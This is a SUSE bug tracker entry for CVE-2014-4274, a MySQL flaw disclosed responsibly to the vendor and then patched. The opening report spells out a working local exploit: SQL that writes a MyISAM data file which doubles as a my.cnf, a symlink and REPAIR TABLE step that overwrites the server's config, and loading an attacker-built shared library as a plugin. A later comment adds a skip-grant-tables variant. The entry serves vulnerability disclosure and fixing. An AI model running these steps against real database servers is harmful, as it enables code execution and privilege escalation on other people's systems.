Bugzilla – Bug 857678
VUL-0: CVE-2014-4274: mysql: user can load arbitrary DSO as plugin
Last modified: 2015-04-21 16:05:13 UTC
Reported by Stefan Nordhausen: ----------8<--------------------- Since today was a quiet day at the office, I was able to complete another exploit that allows an attacker with * CREATE TABLE privileges in MySQL * any Unix-account on the MySQL server to execute arbitrary code in the context of the MySQL server, i.e. as user "mysql". And let's just assume that this access was officially granted to the attacker. Exploitation is also not too complex and very reliable. The code below assumes you are user nordhausen with home directory /home/nordhausen. Initial setup is > cd ~ > mkdir mysql > chmod 777 mysql The SQL instructions below use the "DATA DIRECTORY" directive. This assumes that symlinks are enabled (check with /SHOW VARIABLES LIKE "have_symlink"/), which is the case in openSuse 12.3, but not in Red Hat 6.5. So, assuming default options, the below part will only work with openSuse: USE <a_database_where_you_can_create_tables>; CREATE TABLE myisam ( x1 CHAR(1), x2 CHAR(1), x3 CHAR(1), x4 CHAR(1), x5 char(1), x6 char(1), x7 char(45) ) ENGINE = myisam, DATA DIRECTORY = "/home/nordhausen/mysql"; INSERT INTO myisam VALUE (NULL, "x", "x", "x", NULL, "x", "\n[mysqld]\nplugin_dir=/home/nordhausen/mysql\n#"); The strange table setup has a reason: MyISAM prefixes each record with a bitmap that indicates which columns are NULL and which are not. With the above layout, that bitmap corresponds to the ASCII character "#", i.e. anything after it is marked as a comment. This is important because MySQL will completely ignore a syntactically incorrect configuration file. You can check with "cat ......./myisam.MYD" that the file is not just a valid MYD data file, but also a valid MySQL configuration file, looking like this: > cat /home/nordhausen/mysql/myisam.MYD # x x x x [mysqld] plugin_dir=/home/nordhausen/mysql # Now, the mission is to get this file moved to /var/lib/mysql/my.cnf. For this, I exploit that MySQL is very careless during a REPAIR TABLE: It will use the file called <table_name>.TMD without any security checks. Creating a symlink on the shell: ln -s /var/lib/mysql/my.cnf /home/nordhausen/mysql/myisam.TMD followed by SQL command REPAIR TABLE myisam; will produce an "Operation failed" message. But the exploit has worked, the content of the MYD file has been copied to the destination file. Since /var/lib/mysql is the home directory of the "mysql" user, the new "my.cnf" file will be picked up by MySQL as a configuration file. Now, the attacker waits for the MySQL server to be restarted, his custom configuration is loaded and the fun begins: > cp /usr/lib64/mysql/plugin/ha_blackhole.so /home/nordhausen/mysql/attacker.so mysql> show variables like "plugin_dir"; +---------------+-------------------------+ | Variable_name | Value | +---------------+-------------------------+ | plugin_dir | /home/nordhausen/mysql/ | +---------------+-------------------------+ mysql> INSTALL PLUGIN blackhole SONAME 'attacker.so'; Query OK, 0 rows affected (0.00 sec) Instead of ha_blackhole.so, the attacker could use arbitrary self-compiled files. Since MySQL installs the plugin even though the file & directory are owned by user nordhausen, it means he can run any code inside the MySQL server. Installing the plugin needs INSERT privilege on the mysql.plugin table. But the above exploit can also be used to overwrite any other file with the privileges of the mysql user. You could overwrite /var/lib/mysql/mysql/plugin.MYD or user.MYD (which are also a MyISAM tables), thus inserting the plugin directly (after next MySQL restart) or giving yourself SUPER privileges in MySQL. Alternatively, since the attacker installed a new my.cnf file, he could redefine the "datadir" config variable to point to a directory of his choice, which would include a privilege setup of his choice. I have not tested any of that yet, though. Technically, this is more a MySQL exploit than an openSuse exploit, but it shows that access to the mysql user account is achievable based on realistic initial privileges. Together with the previous exploit, there is now a way from "CREATE TABLE privilege + any user account" --> mysql account --> root account. Sounds dangerous enough to me to warrant a bugfix or two. Next year (=after January 6th), I'll report that to Oracle, or you can do it if you want to. I'll have only occasional access to e-mail until then, anyway. Merry Christmas Stefan
Verified, was able to create /var/lib/mysql/my.cnf on my 13.1, for some reason it was ignored there, but was read and used on 12.3. More dangerous thing would be actually put there 'skip-grant-tables'. With that after either crashing or restarting MySQL attacker has full root access to all MySQL databases. SLE11 should be pretty close to what we have in 12.3. There were some similar symlink issues in the past, hopefully it will be addressed fast in upstream. Assigning new MySQL maintainer, keeping myself in CC
bugbot adjusting priority
What are we going to do about this?
Did you report this issue to Oracle? Did you receive a response from them?
Yesterday, I got an email from Oracle indicating that this is finally fixed now.The mail said Tracking #: S0415779 Description: LOCAL USER CAN RUN ARBITRARY CODE IN THE CONTEXT OF THE MYSQL SERVER Status: Issue fixed in main codeline, scheduled for a future CPU
Thank you, Stefan! Michal Hrusecki and I have been talking to the Oracle release managers in person during the openSUSE conference, and exchanged about the problem, so it was on their radar. Are you content with attributing the secure_file_priv problem to Stefan Nordhausen? Thank you, Roman.
This particular issue does not have a CVE yet, right? Or did Oracle assign one?
"future CPU" means probably not the April 2014 one, but the July/June 2014 CPU. So do not mention this bug yet, but continue with the update?
Affected packages: SLE-10-SP3-TERADATA: mysql SLE-11-SP3: mysql
Stefan, is this http://seclists.org/oss-sec/2014/q3/553 ? if yes, I would make this bug public and we can offer information there.
That sounds very much like this issue, especially because it says "MyISAM temporary files" and not "MySQL temporary files". MyISAM isn't producing that many temporary files. But the last update from Oracle was on August 22nd and again just said "Issue fixed in main codeline, scheduled for a future CPU". I'll ask them if the fix was already released and somebody just forgot to close an internal ticket.
https://bazaar.launchpad.net/~mysql/mysql-server/5.5/revision/4638 seems the fix referenced... yeah
any news?
Line referenced in the Comment 17 exists in mysql-5.0.96 in SLE11 (twice) and in the mysql-5.0.26 in SLE10 SP3 (twice), but not in the mysql-5.5.39 in SLE11 SP3. It's not in the SLE12 mariadb either. Regarding Bug 896400 and CVE-2014-4274 it's about MyISAM temporary files as well but version number where it was fixed doesn't match. Either changelog is not exact or there is another bug.
The updates are prepared. We are waiting for confirmation that Bug 857678 and Bug 896400 are equal. 12.3 and 13.1: https://build.opensuse.org/project/show/home:kstreitova:branches:OBS_Maintained:mariadb Factory is not affected. SLE10 SP3 and SLE11: https://build.suse.de/project/show/home:kstreitova:branches:OBS_Maintained:mysql SLE11 SP3 and SLE12 is not affected.
Seems that Oracle is finally releasing the patch. This is what I got from them on Friday evening: The following issue reported by you is fixed in the upcoming Critical Patch Update, due to be released at 1:00 PM, U.S. Pacific Time, on October 14, 2014. We ask that any information that you plan to publish regarding this issue be released after this date and time. This Critical Patch Update will contain a fix for the following issue: Reporter: Stefan Nordhausen S0415779 LOCAL USER CAN RUN ARBITRARY CODE IN THE CONTEXT OF THE MYSQL SERVER
This is very likely the bug 896400 / CVE-2014-4274 issue. making public, feel free to close when we have released this
An update workflow for this issue was started. This issue was rated as moderate. Please submit fixed packages until 2015-03-04. When done, reassign the bug to security-team@suse.de. https://swamp.suse.de/webswamp/wf/60717
released
SUSE-SU-2015:0620-1: An update that fixes 33 vulnerabilities is now available. Category: security (important) Bug References: 857678,868673,878779,901237,914058 CVE References: CVE-2012-5615,CVE-2014-0224,CVE-2014-4274,CVE-2014-4287,CVE-2014-6463,CVE-2014-6464,CVE-2014-6469,CVE-2014-6474,CVE-2014-6478,CVE-2014-6484,CVE-2014-6489,CVE-2014-6491,CVE-2014-6494,CVE-2014-6495,CVE-2014-6496,CVE-2014-6500,CVE-2014-6505,CVE-2014-6507,CVE-2014-6520,CVE-2014-6530,CVE-2014-6551,CVE-2014-6555,CVE-2014-6559,CVE-2014-6564,CVE-2014-6568,CVE-2015-0374,CVE-2015-0381,CVE-2015-0382,CVE-2015-0385,CVE-2015-0391,CVE-2015-0409,CVE-2015-0411,CVE-2015-0432 Sources used: SUSE Linux Enterprise Software Development Kit 11 SP3 (src): mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1 SUSE Linux Enterprise Server 11 SP3 for VMware (src): mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1 SUSE Linux Enterprise Server 11 SP3 (src): mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1 SUSE Linux Enterprise Desktop 11 SP3 (src): mysql-5.0.96-0.6.20, mysql-5.5.42-0.8.1